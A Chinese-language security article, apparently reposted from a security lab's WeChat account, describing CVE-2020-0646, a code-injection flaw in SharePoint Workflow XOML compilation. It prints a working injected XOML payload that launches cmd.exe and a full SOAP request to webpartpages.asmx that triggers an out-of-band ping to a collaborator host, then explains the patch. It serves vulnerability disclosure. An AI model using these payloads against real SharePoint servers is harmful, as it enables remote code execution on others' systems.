Workflow的代码注入导致SharePoint RCE(CVE-2020-0646)

  • A+
所属分类:安全文章
Workflow的代码注入导致SharePoint RCE(CVE-2020-0646)




描述



2019年11月,通过Workflow代码注入在SharePoint Online执行远程代码的问题报告给了Microsoft,这个漏洞在在线平台上马上得到了解决。但2020年1月才在.NET Framework修补了主要漏洞。所以,没有2020年1月.NET补丁的SharePoint本地版本仍然会受到影响。


注意,如果IIS支持.XOML扩展名,文件上传攻击也可能滥用这个漏洞。


这个漏洞的影响与下面之前发现的漏洞相同(它们都影响相同的模块),但是它用了不同的技术,且不会绕过已实施的修复程序:


  • https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/


  • https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-microsoft-xoml-workflows-protection-mechanisms-using-deserialisation-of-untrusted-data/





分析CVE-2020-0646



编译XOML格式的文件可能会导致滥用System.Workflow.Activities命名空间中的某些参数在SharePoint服务器上运行任意代码。由于这个漏洞可以执行任意代码,所以它也可以绕过Workflow编译器的nocode选项。


以下是XOML使用CallExternalMethodActivity 类时的示例 :


<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">  <CallExternalMethodActivity x:Name="codeActivity1" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//' /></SequentialWorkflowActivity>


在编译过程中,把InterfaceType属性的值注入到临时生成的C#文件中:


    private void InitializeComponent()    {        this.codeActivity1.InterfaceType = typeof(System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//);          }


所以,可以从函数转义,运行代码。注意,在影响InterfaceType属性的同时,其他字符串 类型的属性(如上述示例中的MethodName)也在被验证或转义 。


CodeActivity类的 ExecuteCode 参数也会受到影响, 但它在SharePoint Online版本上没有得到授权,只能在本地版本上使用。它还可能会滥用其他活动。


例如,以下HTTP请求能在SharePoint Online上执行代码:


POST http://[REDACTED].sharepoint.com/_vti_bin/webpartpages.asmx HTTP/1.1Date: Tue, 29 Oct 2019 14:26:21 GMTMIME-Version: 1.0Accept: */*SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSupportObjectsUser-Agent: Mozilla/4.0 (compatible; MS FrontPage 15.0)Host: [REDACTED].sharepoint.comAccept-Language: en-us, en;q=0.1Accept: auth/sicilyX-FORMS_BASED_AUTH_ACCEPTED: TContent-Type: text/xml; charset=utf-8X-Vermeer-Content-Type: text/xml; charset=utf-8Accept-encoding: gzip, deflateConnection: Keep-AlivePragma: no-cacheContent-Length: 1031Cookie: [REDACTED]
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages"><workflowMarkupText><![CDATA[<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow"> <CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c ping o9ydzn3p7ed579lepxolocqyqpwik7.[redactedBurpCollabServer]");private/**/void/**/foobar(){//' />
</SequentialWorkflowActivity>

]]></workflowMarkupText><rulesText></rulesText><configBlob></configBlob><flag>2</flag></ValidateWorkflowMarkupAndCreateSupportObjects></soap:Body></soap:Envelope>


DNS名称已解析:


Workflow的代码注入导致SharePoint RCE(CVE-2020-0646)


上述请求也可以利用本地版本。


用了CVE-2020-0646补丁后,Workflow的所有XML元素和属性都会被检查一遍,确保它们仅包含有限数量的允许字符。选择nocode选项后,就不能在默认配置里把任意代码注入到已生成的C#代码中 。





本文作者是Soroush Dalili




Workflow的代码注入导致SharePoint RCE(CVE-2020-0646)

Workflow的代码注入导致SharePoint RCE(CVE-2020-0646)

木星安全实验室(MxLab),由中国网安·广州三零卫士成立,汇聚国内多名安全专家和反间谍专家组建而成,深耕工控安全、IoT安全、红队评估、反间谍、数据保护、APT分析等高级安全领域,木星安全实验室坚持在反间谍和业务安全的领域进行探索和研究。



本文始发于微信公众号(木星安全实验室):Workflow的代码注入导致SharePoint RCE(CVE-2020-0646)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: